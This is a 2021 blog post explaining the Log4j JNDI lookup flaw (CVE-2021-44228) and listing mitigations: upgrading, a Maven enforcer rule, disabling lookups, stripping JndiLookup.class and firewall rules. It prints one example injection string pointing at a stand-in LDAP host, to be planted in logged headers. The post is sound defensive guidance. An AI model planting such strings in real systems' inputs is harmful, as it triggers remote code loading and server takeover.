[UPDATE] Log4j RCE 0-day vulnerability (CVE-2021-44228) mitigation actions

UPDATE 14/12/2021

I had an update from my very good friend and excellent consultant Stella Varvarigou in which she explained me that setting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false does not fully mitigate the threat as it is possible to send the exploit code with the request.  [2]

Introduction

Apache Log4j, the most popular logging system, has announced a zero-day exploit CVE-2021-44228 on December 9, 2021 that results in remote code execution. Let’s analyze whys this happened and what can be done in order to mitigate the risk.

Why this happened?

In version 2.0-beta9, Log4j added the “JNDILookup plugin” in order to allow variables to be retrieved via JNDI. With JNDI you can retrieve java, ldap, and ldaps protocols or no protocol at all. The problem is that it used a syntax ${prefix:name} where prefix is one of a number of different Lookups where name should be evaluated. For example, ${java:version} is the current running version of Java [1]. This syntax can be exploited with the use of a  `:` present in the key so all the attacker has to do is to find some input that gets logged and add for example ${jndi:ldap://example.com/a}. This could be any commonly gets logged HTTP header like User-Agent.

How this can be mitigated?

Easily… The mitigations actions are the following

Upgrade!

Update to version 2.15.0 that you can download from here Log4j v2.15.0

For Maven users

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-web</artifactId>
    <version>2.15.0</version>
</dependency>

If you want to check for a transient dependency run mvn dependency:tree -Dverbose | grep log4j (if u are on linux or Mac) and search for something like log4j-api:jar:<version>:compile in order to see the version. If you are on windows use mvn dependency:tree -Dverbose > depentencies.txt and open the depentencies.txt file and search for the test there.  It would also be best to apply an enforcer plugin rule in order to avoid having a vulnerable version through a transient dependency. A gist can be found here https://gist.github.com/diakogiannis/45d621b08d0d67b8190b951c4b64cbbd

<plugin>
  <groupId>org.apache.maven.plugins</groupId>
  <artifactId>maven-enforcer-plugin</artifactId>
  <version>3.0.0</version>
  <executions>
    <execution>
      <id>block-vulnerable-log4j-versions</id>
      <phase>validate</phase>
      <goals>
        <goal>enforce</goal>
      </goals>
      <configuration>
        <rules>
          <bannedDependencies>
            <excludes>
              <exclude>org.apache.logging.log4j:log4j-core:(,2.15.0)</exclude>
            </excludes>
          </bannedDependencies>
        </rules>
        <fail>true</fail>
      </configuration>
    </execution>
  </executions>
</plugin>

For Gradle users check this tweet from Cédric Champeau https://twitter.com/CedricChampeau/status/1469608906196410368/photo/1

Add properties to prevent lookups

If updating is not possible and you are using a version greater or equal to 2.10 then set this property log4j2.formatMsgNoLookups=true or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=trueSee update above

Remove the class from the jar

Yes, this is dirty and a last resort action but it is pretty easy and it works if you can not upgrade or change the properties of an application. Look for the log4j-core-*.jar and execute zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Tune your firewall

Most of the commercial firewall services like Cloudflare have already created firewall rules to prevent to an extend requests that might exploit this. If you don’t have a commercial solution be sure to create rules that block the JNDI Lookup in common locations in an HTTP request like URL, header and body and also block outgoing LDAP and RMI connections.

Citations

[1] https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/

[2] https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

Alexius Dionysius Diakogiannis

Passionate Archer, Runner, Linux lover and JAVA Geek! That's about everything! Alexius Dionysius Diakogiannis is a Senior Java Solutions Architect and Squad Lead at the European Investment Bank. He has over 20 years of experience in Java/JEE development, with a strong focus on enterprise architecture, security and performance optimization. He is proficient in a wide range of technologies, including Spring, Hibernate and JakartaEE. Alexius is a certified Scrum Master and is passionate about agile development. He is also an experienced trainer and speaker, and has given presentations at a number of conferences and meetups. In his current role, Alexius is responsible for leading a team of developers in the development of mission-critical applications. He is also responsible for designing and implementing the architecture for these applications, focusing on performance optimization and security.